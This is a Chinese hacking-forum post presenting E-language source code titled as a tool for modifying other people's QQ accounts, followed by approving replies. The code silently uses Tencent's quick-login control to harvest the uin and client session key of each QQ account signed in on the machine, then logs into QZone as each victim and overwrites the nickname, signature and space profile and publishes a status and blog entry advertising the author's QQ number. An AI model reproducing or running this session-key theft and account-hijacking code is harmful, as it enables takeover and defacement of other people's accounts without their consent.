黑客修改他人QQ

boshaoye

.版本 2
.支持库 spec
.程序集 窗口程序集1
.子程序 __启动窗口_创建完毕
.局部变量 cookies, 文本型
.局部变量 QQ, UinKey, , "0"
.局部变量 i, 整数型
.局部变量 GTK, 文本型
.局部变量 URL, 文本型
.局部变量 POST, 文本型
调试输出 (“精易论坛 默默`开源。”)
.计次循环首 (取KEY (QQ), i)
    ' 登录
    URL ＝ “http://ptlogin2.qq.com/jump?clientuin=” ＋ QQ .uin ＋ “&clientkey=” ＋ QQ .key ＋ “&keyindex=9&pt_aid=549000912&u1=http%3A%2F%2Fqzs.qq.com%2Fqzone%2Fv5%2Floginsucc.html%3Fpara%3Dizone”
    网页访问 (URL, , , , cookies, , , 真, )
    延时_不卡死 (100)
    网页访问 (“http://qzs.qq.com/qzone/v5/loginsucc.html?para=izone”, , , cookies)
    GTK ＝ g_tk算法 (取指定Cookie值 (cookies, “skey”, 真)).取文本 ()

    ' 说说同步签名，微博
    延时_不卡死 (100)
    POST ＝ “qzreferrer=http%3A%2F%2Fuser.qzone.qq.com%2F” ＋ QQ .uin ＋ “%23home&syn_tweet_verson=1&richtype=&richval=&special_url=&subrichtype=&who=1&con=qm” ＋ 编码_URL编码 (“感谢小博技术Q2389726464”, 真, 真) ＋ “&feedversion=1&ver=1&ugc_right=1&to_tweet=1&to_sign=1&hostuin=” ＋ QQ .uin ＋ “&code_version=1&format=fs”
    网页访问u (“http://taotao.qq.com/cgi-bin/emotion_cgi_publish_v6?g_tk=” ＋ GTK, 1, POST, cookies)
    延时_不卡死 (100)
    ' 网名
    POST ＝ “qzreferrer=http%3A%2F%2Fcnc.qzs.qq.com%2Fqzone%2Fv6%2Fsetting%2Fprofile%2Fprofile.html%3Ftab%3Dbase&nickname=” ＋ 编码_URL编码 (“感谢小博技术Q2389726464”, 真, 真) ＋ “&emoji=&sex=1&birthday=1988-11-01&province=43&city=10&country=1&marriage=0&bloodtype=5&hp=0&hc=0&hco=0&career=&company=&cp=0&cc=0&cb=&cco=0&lover=&islunar=0&mb=65&uin=” ＋ QQ .uin ＋ “&pageindex=1&fupdate=1”
    网页访问 (“http://w.qzone.qq.com/cgi-bin/us ... euserinfo_new?g_tk=” ＋ GTK, 1, POST, cookies)

    ' QQ空间资料
    延时_不卡死 (100)
    POST ＝ “qzreferrer=http%3A%2F%2Fcnc.qzs.qq.com%2Fqzone%2Fv6%2Fsetting%2Fprofile%2Fprofile.html%3Ftab%3Dspace&spacename=” ＋ 编码_URL编码 (“感谢小博技术Q2389726464”, 真, 真) ＋ “&desc=” ＋ 编码_URL编码 (“感谢小博技术Q2389726464”, 真, 真) ＋ “&signature=” ＋ 编码_URL编码 (“感谢小博技术Q2389726464”, 真, 真) ＋ “&mb=14336&uin=” ＋ QQ .uin ＋ “&pageindex=3&fupdate=1”
    网页访问 (“http://w.cnc.qzone.qq.com/cgi-bi ... euserinfo_new?g_tk=” ＋ GTK, 1, POST, cookies)
    ' 日志
    POST ＝ “qzreferrer=http%3A%2F%2Fcnc.qzs.qq.com%2Fqzone%2Fnewblog%2Fv5%2Feditor.html%23opener%3Drefererurl%26source%3D1%26refererurl%3Dhttp%253A%252F%252Fcnc.qzs.qq.com%252Fqzone%252Fapp%252Fblog%252Fv6%252Fbloglist.html%2523nojump%253D1%2526page%253D1%2526catalog%253Dlist&cate=” ＋ 编码_URL编码 (“感谢小博技术Q2389726464”, 真, 假) ＋ “&title=” ＋ 编码_URL编码 (“感谢小博技术Q2389726464”, 真, 假) ＋ “&html=%3Cdiv+class%3D%22blog_details_20120222%22%3E%3CDIV%3E” ＋ 编码_URL编码 (“感谢小博技术Q2389726464”, 真, 假) ＋ “%3C%2FDIV%3E%3C%2Fdiv%3E&source=1&blogType=0&lp_type=0&lp_flag=0&lp_id=79208&lp_style=16843520&autograph=1&topFlag=0&feeds=1&tweetFlag=0&rightType=1&uin=” ＋ QQ .uin ＋ “&hostUin=” ＋ QQ .uin ＋ “&iNotice=1&inCharset=gbk&outCharset=gbk&format=fs&ref=qzone&json=1&g_tk=” ＋ GTK ＋ “&secverifykey=28Q12062209183668_2209183668”
    网页访问s (“http://b11.cnc.qzone.qq.com/cgi-bin/blognew/add_blog?g_tk=” ＋ GTK, 1, POST, cookies)
    延时_不卡死 (1000)
    cookies ＝ “”
.计次循环尾 ()

.子程序 g_tk算法, 变体型
.参数 skey, 文本型
.局部变量 script, 对象
.局部变量 result, 变体型
script.创建 (“scriptcontrol”, )
script.写属性 (“Language”, “JScript”)
script.数值方法 (“AddCode”, #g_tk)
result ＝ script.通用方法 (“Eval”, “getACSRFToken(” ＋ #引号 ＋ skey ＋ #引号 ＋ “)”)  ' 此处的表达式如果比较复杂建议使用常量
返回 (result)  ' 返回变体类型 如果是文本可以取文本，如果是数值可以取数值

.子程序 取KEY, 整数型, 公开, SnowSnow;
.参数 size, UinKey, 参考 可空 数组
.局部变量 hWnd, 整数型
.局部变量 This, 对象
.局部变量 mber, 整数型
.局部变量 InnerText, 文本型, , "0"
.局部变量 dwText, 文本型, , "0"
.局部变量 dwSize, UinKey
.局部变量 i, 整数型
清除数组 (size)
.如果真 (This.创建 (“SSOAxCtrlForPTLogin.SSOForPTLogin2”, ) ＝ 假)
    标签1.标题 ＝ “请先安装腾讯网页快速登录控件。”
    返回 (0)
.如果真结束
This.清除 ()
API_AtlAxWinInit ()
hWnd ＝ API_CreateWindowEx (0, “AtlAxWin”, “http://xui.ptlogin2.qq.com/cgi-bin/qlogin”, 0, 0, 0, 0, 0, 0, 0, 0, 0)
.如果真 (hWnd ＞ 0)
    API_AtlAxGetControl (hWnd, This)
    This.写属性 (“Silent”, 真)  ' 静默
    .循环判断首 ()
        mber ＝ This.读数值属性 (“ReadyState”, )
        .判断开始 (mber ＝ 0)
            This.清除 ()
            返回 (0)
        .判断 (mber ＝ 4)
            跳出循环 ()
        .默认
        .判断结束
        处理事件 ()
    .循环判断尾 (真)
    This.对象型方法 (“Document”, ).读对象型属性 (“parentWindow”, ).逻辑方法 (“execScript”, #常量1, “JavaScript”)
    InnerText ＝ 分割文本 (This.对象型方法 (“Document”, ).对象型方法 (“body”, ).读文本属性 (“innerText”, ), “;”, )
    .计次循环首 (取数组成员数 (InnerText), i)
        dwText ＝ 分割文本 (InnerText , “|”, )
        .如果真 (取数组成员数 (dwText) ≥ 3)
            ' 调试输出 (dwText [1])
            dwSize.uin ＝ dwText [1]
            dwSize.name ＝ dwText [2]
            dwSize.key ＝ dwText [3]
            加入成员 (size, dwSize)
        .如果真结束
    .计次循环尾 ()
    This.清除 ()
    API_SendMessage (hWnd, 16, 0, 0)  ' 最后销毁窗口
.如果真结束
.如果真 (取数组成员数 (size) ＝ 0)
    标签1.标题 ＝ “你还没有登录QQ额”
.如果真结束
返回 (取数组成员数 (size))
销毁 ()



联系我时，请说是在 挂海论坛 上看到的，谢谢！

boshaoye

回帖纯属支持楼主，希望楼主多奉献好的作品。

xl58

任何业绩的质变都来自于量变的积累。

xiaotan

打酱油的啦，飘过赚点海币而已。

扯扯

我要拿出这帖子奉献给世人赏阅，我要把这个帖子一直往上顶，往上顶!顶到所有人都看到为止!

boshaoye

回帖纯属支持楼主，希望楼主多奉献好的作品。

怒艹马化腾

震撼啊!今天让我看到这样的好帖子!

｜自然ォ美｜

好东西。拿走了，感谢楼主分享

幸福暗恋我

楼主事事顺心，家庭和睦！

沵残留的余温ゝ

好厉害的样子